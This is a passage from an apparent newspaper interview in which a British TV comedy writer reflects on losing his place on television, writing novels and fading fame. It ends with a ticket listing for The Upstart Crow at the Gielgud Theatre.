“In 2000 I went back and said any chance of another new series,” he says. “But fashion changes and I totally accept that. Up until then, every time I wanted to be on the TV, I could be. They said, ‘Er, no we don’t really feel…’ OK, I’ll write novels then, and I haven’t been able to get back since. 

“The fact that I’m clearly not as famous as I was doesn’t bother me. There was a time when fame was real, there were only three channels and literally everybody in Britain knew who I was. My kids worship people who could sell out Wembley Stadium who I’ve never heard of.” 

He might take heart from the fact his hero Shakespeare is still relevant – and argued over – some 400 years after his death. 

Great writing endures.

• The Upstart Crow plays at the Gielgud Theatre, London, from Friday until April 25. For tickets, visit UpstartCrowTheComedy.com

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